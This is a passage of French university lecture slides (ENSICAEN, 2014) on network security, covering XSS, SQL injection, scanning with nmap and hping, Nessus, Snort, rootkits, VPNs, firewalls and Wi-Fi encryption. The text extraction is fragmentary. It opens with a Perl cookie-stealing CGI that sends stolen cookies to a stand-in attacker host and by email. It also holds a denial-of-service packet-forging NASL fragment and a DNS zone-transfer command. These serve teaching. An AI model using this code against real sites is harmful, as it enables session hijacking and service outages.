# The QUERY_STRING environment variable should be filled with
# the cookie text after steal.cgi:
# http://www.attacker.com/steal.cgi?XXXXX
print COOKIES $ENV{'QUERY_STRING'} from $ENV{REMOTE_ADDR}\n;
# now email the alert as well so we can start to hijack
open(MAIL,"|$mailprog -t");
print MAIL "To: attacker\@attacker.com\n";
print MAIL "From: cookie_steal\@attacker.com\n";
print MAIL "Subject: Stolen Cookie Submission\n\n";
print MAIL "-" x 75 . "\n\n";
print MAIL $ENV{'QUERY_STRING'} from $ENV{REMOTE_ADDR}\n;
close (MAIL);
15/10/2014
- ENSICAEN -
(c) dp
160
<html>
<?php
print $nom ;
?>
</html>
fichier test1_xss.php3
15/10/2014
- ENSICAEN -
(c) dp
161
Remde possible
Ne jamais faire confiance une saisie
utilisateur.
Ne jamais afficher lcran tel quel une saisie
utilisateur.
Filtrer tous les caractres indsirables
(comme les caractres < et >).
Exemple en php:
print htmlspecialchars ("Bonjour $nom") ;
15/10/2014
- ENSICAEN -
(c) dp
162
Lauthentification .htaccess
Systme dauthentification frquemment
utilis pour restreindre laccs au contenu de
rpertoires spcifiques.
Filtre par domaine, mcanisme login/mot de
passe.
Fichier .htaccess par dfaut.
15/10/2014
- ENSICAEN -
(c) dp
163
Exemple de connexion
15/10/2014
- ENSICAEN -
(c) dp
164
Ecoute de la phase de
connexion
15/10/2014
- ENSICAEN -
(c) dp
165
Injection SQL
Beaucoup d'applications web s'appuient
sur des bases de donnes.
Les requtes SQL utilisent des
informations saisies par les utilisateurs.
Les informations doivent tre traites
avant utilisation.
15/10/2014
- ENSICAEN -
(c) dp
166
Injection SQL
15/10/2014
- ENSICAEN -
(c) dp
167
Injection SQL
http://www.xkcd.com/327
15/10/2014
- ENSICAEN -
(c) dp
168
- ENSICAEN -
(c) dp
169
15/10/2014
- ENSICAEN -
(c) dp
170
- ENSICAEN -
(c) dp
171
Cartographie du rseau
15/10/2014
- ENSICAEN -
(c) dp
172
Cartographie du rseau
Le DNS d'un site centralise toutes les machines connectes au
rseau.
Certains DNS incorrectement configurs peuvent autoriser des
transferts de zones:
dig @ns.domaine.com domaine.com axfr
Outil DNSMap rcupration dinformations
15/10/2014
- ENSICAEN -
(c) dp
173
- ENSICAEN -
(c) dp
174
nmap
Outil de rfrence.
nmap sous unix (http://www.nmap.org)
Scanne une machine ou un rseau la recherche
des services ouverts et de son identit.
Supporte de nombreuses techniques de scan:
15/10/2014
- ENSICAEN -
(c) dp
175
15/10/2014
- ENSICAEN -
(c) dp
(-sT, dfaut)
(-sS)
(-sF)
(-sX)
(-sN)
(-b server)
(-f)
(-sU)
(-sR)
(-I)
176
nmap
Beaucoup de fonctionnalits prsentes dans nmap:
Scan Sans envoi de trame ICMP (-P0)
Scan en mode verbeux (-v v)
Impose le port source (-g port)
FingerPrinting: Remote OS detection (-O)
decoy scanning (-Ddecoy_host1,decoy2[,...])
Timing policy (-T <Paranoid|Sneaky|Polite|Normal|Aggressive|Insane)
15/10/2014
- ENSICAEN -
(c) dp
177
15/10/2014
- ENSICAEN -
(c) dp
178
Scan Spoof
hping permet de scanner une machine
en usurpant l'identit d'une autre:
scanner
RST si port
ferm
hping r rebond
rebond
(machine
peu active)
15/10/2014
cible
SYN, port,
source=rebond
- ENSICAEN -
SYN-ACK
RST si port
ouvert
(c) dp
179
FingerPrinting passif
FingerPrinting est dit passif quand il
n'met aucune information:
Analyse des trames envoyes par une
machine distante.
Analyse d'un fichier de log.
Exemple: p0f
http://www.stearns.org/p0f
15/10/2014
- ENSICAEN -
(c) dp
180
Association port-processus
Comment trouver localement quel processus est en coute sur
un port:
Linux
netstat anp
commande plus gnrale: lsof (LiSt Opened Files)
lsof i | grep LISTEN
lsof i tcp:33300
Windows
tcpview
Mac OS
lsof
15/10/2014
- ENSICAEN -
(c) dp
181
15/10/2014
- ENSICAEN -
(c) dp
182
15/10/2014
- ENSICAEN -
(c) dp
183
15/10/2014
- ENSICAEN -
(c) dp
184
15/10/2014
- ENSICAEN -
(c) dp
185
Concept de faille
Une faille est une vulnrabilit permettant des
attaquants d'obtenir un accs non autoris un
systme.
On peut trouver des vulnrabilits tous les niveaux:
routeurs
logiciels client/serveur
systme d'exploitation
firewalls
15/10/2014
- ENSICAEN -
(c) dp
186
Vulnrabilits
Une vulnrabilit peut tre la consquence d'une ngligence (mot de passe nul
ou trivial par exemple) ou d'une erreur de programmation (buffer overflow, ).
15/10/2014
- ENSICAEN -
(c) dp
187
Vulnrabilits
Sites spcialiss
Listes de diffusion: BugTraq
(http://www.securityfocus.com)
et beaucoup d'autres
15/10/2014
- ENSICAEN -
(c) dp
188
15/10/2014
- ENSICAEN -
(c) dp
189
- ENSICAEN -
(c) dp
190
Scanners
Attention aux problmes lgaux et
thiques lors de l'utilisation de
scanners.
Les scanners laissent des traces dans
les fichiers d'audit.
On trouve des scanners commerciaux
et domaines public.
15/10/2014
- ENSICAEN -
(c) dp
191
Scanners
Historiquement: SATAN (Security
Administrator's Tool for Analysing
Networks) distribu en avril 1995 par
Dan Farmer et Weitse Venema.
Quelques rfrences de scanners:
nessus http://www.nessus.org
iss
http://www.iss.net
15/10/2014
- ENSICAEN -
(c) dp
192
Modle client/serveur:
Utilise des plug-in
Dispose un langage de programmation
(NASL = Nessus Attack Scripting Language)
15/10/2014
- ENSICAEN -
(c) dp
193
Nessus: suite
Gnre des rapports clairs et exportables.
Base de donnes des vulnrabilits connues remise
jour rgulirement.
Nessus (Licence GPL jusque V2)
- ENSICAEN -
OpenVAS
(c) dp
194
15/10/2014
- ENSICAEN -
(c) dp
195
start_denial();
PADDING = 0x1c;
FRG_CONST = 0x3;
sport = 123;
dport = 321;
addr = this_host();
ip = forge_ip_packet(ip_v
: 4,
ip_hl
: 5,
ip_len : 20 + 8 + PADDING,
ip_id
: 0x455,
ip_p
: IPPROTO_UDP,
ip_tos : 0,
ip_ttl : 0x40,
ip_off : IP_MF,
ip_src : addr);
15/10/2014
- ENSICAEN -
(c) dp
196
- ENSICAEN -
(c) dp
197
- ENSICAEN -
(c) dp
198
15/10/2014
- ENSICAEN -
(c) dp
199
Snort: fonctionnalits
Dtection au niveau des protocoles
IP
TCP UDP ICMP
Dtection dactivits anormales
Stealth scan, OS Finger Printing
code ICMP invalide
Prprocesseur pour la gestion des fragments,
les sessions http,
15/10/2014
- ENSICAEN -
(c) dp
200
Architecture de snort
Sortie 1
plugins de
dtection
Prprocesseur 1
Sortie n
Prprocesseur n
dcodage
Dtection
libpcap
15/10/2014
- ENSICAEN -
(c) dp
201
- ENSICAEN -
(c) dp
202
15/10/2014
- ENSICAEN -
(c) dp
203
Exemple d'attaquant
15/10/2014
- ENSICAEN -
(c) dp
204
- ENSICAEN -
(c) dp
205
Outils de surveillance
Les outils d'analyse de trafic de surveiller un rseau,
des serveurs, des bornes wifi, ...
Quelques exemples d'outils:
mrtg (Multi Router Traffic Grapher)
http://www.mrtg.org
- WhatsUp, diteur Ipswitch
15/10/2014
- ENSICAEN -
(c) dp
206
mrtg
Utilisation de SNMP pour relever les
compteurs des priphriques (routeurs,
).
Cration de pages html en temps rels
contenant des graphes reprsentant le
trafic sur le rseau en cours de
surveillance.
15/10/2014
- ENSICAEN -
(c) dp
207
15/10/2014
- ENSICAEN -
(c) dp
208
WhatsUp
Logiciel commercial edit par Ipswitch
Permet dunifier des sytmes, un rseau, des
applications,
Propose un tableau de bord personnalisable
Permet de dfinir des seuils dactivit
15/10/2014
- ENSICAEN -
(c) dp
209
15/10/2014
- ENSICAEN -
(c) dp
210
15/10/2014
- ENSICAEN -
(c) dp
211
15/10/2014
http://www.openwall.com/john/
http://www.l0phtcrack.com/
- ENSICAEN -
(c) dp
212
Un logiciel de stockage de
mot de passes
http://keepass.info/
15/10/2014
- ENSICAEN -
(c) dp
213
Exemple de logiciel de
craquage
15/10/2014
- ENSICAEN -
(c) dp
214
15/10/2014
- ENSICAEN -
(c) dp
215
RootKits
Un "rootkit" est dfini par la NSA:
A hacker security tool that captures passwords and
message traffic to and from a computer. A collection
of tools that allows a hacker to provide a backdoor
into a system, collect information on other systems on
the network, mask the fact that the system is
compromised, and much more. Rootkit is a classic
example of Trojan Horse software. Rootkit is
available for a wide range of operating systems.
15/10/2014
- ENSICAEN -
(c) dp
216
RootKits
Souvent utilis par un intrus pour se dissimuler et garder les
accs privilgis qu'il a obtenu.
Les premires alertes sur l'utilisation de rootkits datent de fvrier
1994.
Outil devenu trs populaire et qui complique la dtection
d'intrusion.
Un rootkit classique contiendra un sniffer, des logiciels avec
backdoors comme inetd, login,, remplacera des commandes
comme ps, netstat, ls, On pourra trouver galement des
commandes de nettoyage de logs (/var/log), etc.
15/10/2014
- ENSICAEN -
(c) dp
217
chfn
chsh
inetd
login
ls
du
ifconfig
netstat
passwd
ps
top
rshd
syslogd
linsniffer
fix
z2
wted
lled
bindshell
tcpd
15/10/2014
Trojaned! User->r00t
Trojaned! User->r00t
Trojaned! Remote access
Trojaned! Remote access
Trojaned! Hide files
Trojaned! Hide files
Trojaned! Hide sniffing
Trojaned! Hide connections
Trojaned! User->r00t
Trojaned! Hide processes
Trojaned! Hide processes
Trojaned! Remote access
Trojaned! Hide logs
Packet sniffer!
File fixer!
Zap2 utmp/wtmp/lastlog eraser!
wtmp/utmp editor!
lastlog editor!
port/shell type daemon!
Trojaned! Hide connections, avoid denies
- ENSICAEN -
(c) dp
218
Dtection de rootkits
Dtection des ports ouverts non officiels (avec nmap sur une machine
externe). Par exemple l'inetd de lrk4 ouvre le port 5002.
Utilitaires de dtection:
unix:
chkrootkit
http://www.chkrootkit.org/
windows: rootkitrevealer http://www.sysinternals.com/ntw2k/freeware/
rootkitreveal.shtml
15/10/2014
- ENSICAEN -
http://www.tripwire.com
(c) dp
219
Bibliothques Dynamiques
Beaucoup de fichiers sont modifier pour
rester invisible.
Cependant, les binaires utilisent le concept
des bibliothques dynamiques pour viter
d'tre trop gros (dll sous windows, fichiers .so
sous unix).
La modification d'une bibliothque dynamique
peut suffire modifier plusieurs commandes.
15/10/2014
- ENSICAEN -
(c) dp
220
Exemple bibliothque
dynamique
[root@ns /root]# ldd `which uptime` `which top` `which ps`
/usr/bin/uptime:
libproc.so.2.0.0 => /lib/libproc.so.2.0.0 (0x40018000)
libc.so.6 => /lib/libc.so.6 (0x40023000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
/usr/bin/top:
libproc.so.2.0.0 => /lib/libproc.so.2.0.0 (0x40018000)
libncurses.so.4 => /usr/lib/libncurses.so.4 (0x40023000)
libc.so.6 => /lib/libc.so.6 (0x40060000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
/bin/ps:
libproc.so.2.0.0 => /lib/libproc.so.2.0.0 (0x40018000)
libc.so.6 => /lib/libc.so.6 (0x40023000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
15/10/2014
- ENSICAEN -
(c) dp
221
Chiffrement, tunnels
et vpn
15/10/2014
- ENSICAEN -
(c) dp
222
Chiffrement de documents
Les documents importants doivent tre chiffrs.
Le chiffrement peut tre matriel (ordinateur portable avec
disque auto chiffrant, cl usb auto chiffrante, )
Le chiffrement peut tre logiciel, beaucoup de logiciels existent.
winrar (chiffrement symtrique)
GnuPG (chiffrement asymtrique)
Enigmail plugin de Thunderbird pour lchange de courrier
lectronique chiffr/sign.
Truecrypt: Chiffrement de disques, de partitions de disques,
de cls USB.
15/10/2014
- ENSICAEN -
(c) dp
223
Protocoles chiffrs
Les informations confidentielles doivent
transiter sur le rseau par des protocoles
chiffrs:
Exemples:
https
pops
imaps
smtps
etc.
15/10/2014
(c) dp
224
Session chiffre
ssh (Secure Shell) plutt que
telnet,rlogin,rsh,rcp
Gnration d'une paire de clef RSA (toutes
les heures) par le serveur.
Envoi de la clef publique au client qui se
connecte.
Le client gnre une clef symtrique, la
chiffre avec la clef du serveur et la renvoie au
serveur.
Le reste de la communication est en
chiffrement symtrique.
15/10/2014
- ENSICAEN -
(c) dp
225
Tunneling
Un protocole de tunneling est utilis pour
crer un chemin priv (tunnel) travers une
infrastructure ventuellement publique.
Les donnes peuvent tre encapsules et
chiffres pour emprunter le tunnel.
Solution intressante pour relier deux entits
distantes moindre cot.
15/10/2014
- ENSICAEN -
(c) dp
226
Tunneling ssh
Un flux tcp quelconque peut tre redirig dans un
tunnel ssh:
client
serveur
client ssh
15/10/2014
- ENSICAEN -
serveur ssh
(c) dp
227
15/10/2014
- ENSICAEN -
(c) dp
228
15/10/2014
- ENSICAEN -
(c) dp
229
15/10/2014
- ENSICAEN -
(c) dp
230
Connexions TCP/IP
scurises
SSL (Secure Sockets Layer)
Se situe entre la couche application et la
couche transport.
Garantit l'authentification, l'intgrit et la
confidentialit.
Largement utilis pour la scurisation des
sites www (https).
15/10/2014
- ENSICAEN -
(c) dp
231
Fonctionnement SSL
1) Hello, version de SSL, protocole de chiffrement pris en charge,
longueurs de cl, mcanisme d'change de cl
client
SSL
serveur
SSL
15/10/2014
- ENSICAEN -
(c) dp
232
IPSec
IP SECurity protocol issu d'une task force de l'IETF
Quelques spcifications de l'IPSec:
Authentification, confidentialit et intgrit (protection contre
l'IP spoofing et le TCP session hijacking)
Confidentialit (session chiffre pour se protger du sniffing)
Scurisation au niveau de la couche transport (protection
L3).
Algorithmes utiliss:
Authentification pas signature DSS ou RSA
Intgrit par fonction de condensation (HMAC-MD5, HMACSHA-1, )
Confidentialit par chiffrement DES, RC5,IDEA,CAST,
Blowfish
15/10/2014
- ENSICAEN -
(c) dp
233
Fonctionnement IPSec
ipsec peut fonctionner:
en mode transport; les machines source et
destination sont les 2 extrmits de la connexion
scurise.
en mode tunnel: les extrmits de la connexion
scurise sont des passerelles; les
communications hte hte sont encapsules
dans les enttes de protocole de tunnel IPSec.
en mode intermdiaire: tunnel entre une machine
et une passerelle.
15/10/2014
- ENSICAEN -
(c) dp
234
- ENSICAEN -
(c) dp
235
15/10/2014
- ENSICAEN -
(c) dp
236
15/10/2014
- ENSICAEN -
(c) dp
237
15/10/2014
- ENSICAEN -
(c) dp
238
Etablissement d'une
connexion IPSec
2 machines doivent s'accorder pour l'utilisation des
algorithmes et protocoles utiliser
Une SA (Security Association) est tablie pour
chaque connexion.
Une SA comprend:
Un algorithme de chiffrement (DES, 3DES)
Une cl de session via IKE (Internet Key
Exchange)
Un algorithme d'authentification (SHA1, MD5)
15/10/2014
- ENSICAEN -
(c) dp
239
Site site
utilisateur nomade
15/10/2014
- ENSICAEN -
(c) dp
240
Firewall
15/10/2014
- ENSICAEN -
(c) dp
241
Firewall
Protger son rseau du monde extrieur (Internet,
autres services de l'entreprise).
Maintenir des utilisateurs l'intrieur du rseau
(employ, enfant, )
Restreindre le nombre de machines surveiller avec
un maximum d'attention.
Certaines machines doivent rester ouvertes (serveur
www, dns, etc).
15/10/2014
- ENSICAEN -
(c) dp
242
Firewall
C'est un outil souvent indispensable
mais jamais suffisant:
Pas de protection contre le monde intrieur
Pas de protection contre les mots de passe
faibles
- ENSICAEN -
(c) dp
243
Firewall
Contrler les accs entrant et sortant:
par service
par adresse IP
- ENSICAEN -
(c) dp
244
Firewall
Diffrents types de firewall:
filtres de paquets
passerelles de circuits
passerelles d'application
Combinaison des 3 types prcdents
15/10/2014
- ENSICAEN -
(c) dp
245
- ENSICAEN -
(c) dp
246
Filtrage de paquets
15/10/2014
- ENSICAEN -
(c) dp
247
Firewall: Passerelles de
circuits
Les passerelles de circuits relaient les
connexions TCP.
L'appelant se connecte un port TCP
de la passerelle elle mme connecte
sur le port du service de la machine
destination.
15/10/2014
- ENSICAEN -
(c) dp
248
Passerelle de circuits
15/10/2014
- ENSICAEN -
(c) dp
249
Firewall: Passerelles
d'applications
Un programme spcifique pour chaque
application (exemples: relai de courrier,
relai http, ).
Permet de sectionner les flux.
Plus complexes mettre en uvre.
15/10/2014
- ENSICAEN -
(c) dp
250
Passerelle d'applications
15/10/2014
- ENSICAEN -
(c) dp
251
15/10/2014
- ENSICAEN -
(c) dp
252
15/10/2014
- ENSICAEN -
(c) dp
253
Translation d'adresses,
Tunnels IPsec, PPTP, L2TP,
Identification des connexions,
Serveur Web pour offrir une interface de configuration agrable,
Relai applicatif (proxy),
Dtection d'intrusion (IDS)
Prvention d'intrusion (IPS)
15/10/2014
- ENSICAEN -
(c) dp
254
Exemples firewall
checkpoint
http://www.checkpoint.com
15/10/2014
- ENSICAEN -
(c) dp
255
15/10/2014
- ENSICAEN -
(c) dp
256
Les honeypots
15/10/2014
- ENSICAEN -
(c) dp
257
Objectifs:
Distraire un attaquant pour protger des machines plus sensibles.
Dcouvrir de nouvelles techniques dattaques, de nouveaux outils,
15/10/2014
- ENSICAEN -
(c) dp
258
Honeypot
Un honeypot peut etre une machine simple sans
scurit (par exemple sans mot de passe
administrateur).
Un logiciel permettant de grer des htes virtuels et
de simuler des piles TCP/IP diffrentes.
Une liste de logiciels d'honeypot:
http://www.honeypots.net/honeypots/products
15/10/2014
- ENSICAEN -
(c) dp
259
15/10/2014
- ENSICAEN -
(c) dp
260
15/10/2014
- ENSICAEN -
(c) dp
261
- ENSICAEN -
(c) dp
262
Wifi et scurit
15/10/2014
- ENSICAEN -
(c) dp
263
- ENSICAEN -
(c) dp
264
15/10/2014
- ENSICAEN -
(c) dp
265
Modes de communication
Mode infrastructure
15/10/2014
- ENSICAEN -
Mode AD HOC
(c) dp
266
Wi-Fi: la rglementation
Lutilisation des frquences est normalise par lETSI (European
Telecommunications Standard Institute).
Cette normalisation est soumise lagrment dorganismes
nationaux; en France par lARCEP (ex ART).
Pas dhomognisation de la disponibilit des frquences au
niveau europen.
En France, libralisation de lutilisation des frquences (France
hexagonale) depuis le 24 juillet 2003 (communiqu de lART).
15/10/2014
- ENSICAEN -
(c) dp
267
- ENSICAEN -
(c) dp
268
- ENSICAEN -
(c) dp
269
Les consquences
Ecoute et interception de trafics
Insertion de trafic
Introduction d'une station illicite sur le rseau
rebonds
15/10/2014
- ENSICAEN -
(c) dp
270
- ENSICAEN -
(c) dp
271
Le chiffrement WEP
Historiquement le premier chiffrement utilis par le WiFi.
Chiffrement symtrique des trames 802.11 utilisant l'algorithme
RC4 avec des cls de 64 ou 128 bits.
Les 24 premiers bits servent pour l'initialisation diminuant
d'autant la taille de la cl.
La cl doit tre partage par tous les quipements.
Cet algorithme de chiffrement est trs insuffisant.
15/10/2014
- ENSICAEN -
(c) dp
272
Le chiffrement WPA
Le chiffrement WPA repose sur des protocoles d'authentification
et un algorithme de chiffrement robuste: TKIP (Temporary Key
Integrity Protocol) qui introduit un chiffrement par paquet et un
changement automatique des cls de chiffrement.
WPA repose sur un serveur d'authentification (gnralement un
serveur RADIUS, Remote Authentification Dial-in User Service)
permettant d'identifier les utilisateurs et de leur dfinir des droits.
Pour les petits rseaux, une version restreinte du protocole est
appele WPA-PSK (Pre Share Key) ncessitant de dployer
une mme cl de chiffrement (pass phrase) pour tous les
quipements.
15/10/2014
- ENSICAEN -
(c) dp
273
Le chiffrement WPA2
La norme 802.11i a t ratifie le 24
juin 2004.
La certification WPA2 a t cre par la
Wi-Fi Alliance.
WPA2 utilise l'algorithme AES
(Advanced Encryption Standard).
15/10/2014
- ENSICAEN -
(c) dp
274
L'authentification
Authentification par adresse MAC est peu scurise.
Le protocole 802.1X dfinit une encapsulation de EAP
(Extensible Authentification Protocol) au dessus du protocole
IEEE 802.11
Diffrentes variantes du protocole EAP:
Protocole EAP-MD5 (EAP - Message Digest 5) ;
protocole LEAP (Lightweight EAP) developp par Cisco ;
protocole EAP-TLS (EAP - Transport Layer Security) cre par
Microsoft et accept sous la norme RFC 2716 ;
protocole EAP-TTLS (EAP - Tunneled Transport Layer Security)
developp par Funk Software et Certicom ;
protocole PEAP (Protected EAP) developp par Microsoft, Cisco et
RSA Security ...
15/10/2014
- ENSICAEN -
(c) dp
275
L'authentification
EAP-TLS authentifie les deux parties
par des certificats; le serveur prsente
un certificat, le client le valide et
prsente son tour son certificat.
PEAP utilis avec MS-CHAPv2 requiert
un certificat ct serveur et un couple
login/mot de passe ct client.
15/10/2014
- ENSICAEN -
(c) dp
276
Conseils et
conclusions
15/10/2014
- ENSICAEN -
(c) dp
277
- ENSICAEN -
(c) dp
278
15/10/2014
- ENSICAEN -
(c) dp
279
Installation/Administration
Prudence dans linstallation par dfaut des logiciels
Protection physique des quipements.
Intgration des objectifs "scurit" dans les choix de
rseaux et des systmes d'exploitation.
Localiser et ne laisser ouvert que les services
indispensables.
Fermer les comptes inutiliss.
15/10/2014
- ENSICAEN -
(c) dp
280
Installation/Administration
Se tenir informer des vulnrabilits.
Passer rgulirement les correctifs.
Installer les outils ncessaires (contrle
d'authentification, audits, )
Consulter rgulirement le journal gnr par
ces outils.
Informer ses utilisateurs.
Chiffrement des informations
etc
15/10/2014
- ENSICAEN -
(c) dp
281
15/10/2014
- ENSICAEN -
(c) dp
282
Conclusions
Aucune scurit n'est parfaite. On dfinit juste un seuil.
Des outils sont ncessaires, mais le travail quotidien est
indispensable.
Le niveau de scurit d'un site est celui de son maillon le plus
faible.
La scurit n'apporte qu'un gain indirect. Par consquent, il
n'est pas facile de convaincre les dcideurs de l'entreprise.
15/10/2014
- ENSICAEN -
(c) dp
283
Conclusions
Le seul systme informatique qui est vraiment
sr est un systme teint et dbranch,
enferm dans un blockhaus sous terre,
entour par des gaz mortels et des gardiens
hautement pays et arms. Mme dans ces
conditions, je ne parierais pas ma vie dessus.
(c) Gene Spafford, fondateur et directeur du
"Computer Operations, Audit and Security
Technology Laboratory.
15/10/2014
- ENSICAEN -
(c) dp
284
http://www.ssi.gouv.fr
http://www.datasecuritybreach.fr
http://www.securityfocus.com
http://www.sans.org
http://www.frsirt.coml
et beaucoup d'autres .
16/10/2014
- ENSICAEN -
(c) dp
285
Annexe 2 : Rfrences
bibliographiques
Halte aux hackers, Stuart McClure
Dtection des intrusions rseaux, Stephen
Northcutt
Le guide anti hacker,
Scurit optimale
Firewall et scurit Internet, S.M. Bellovin
Rapport Lasbordes
Magazines misc (http://www.miscmag.com)
15/10/2014
- ENSICAEN -
(c) dp
286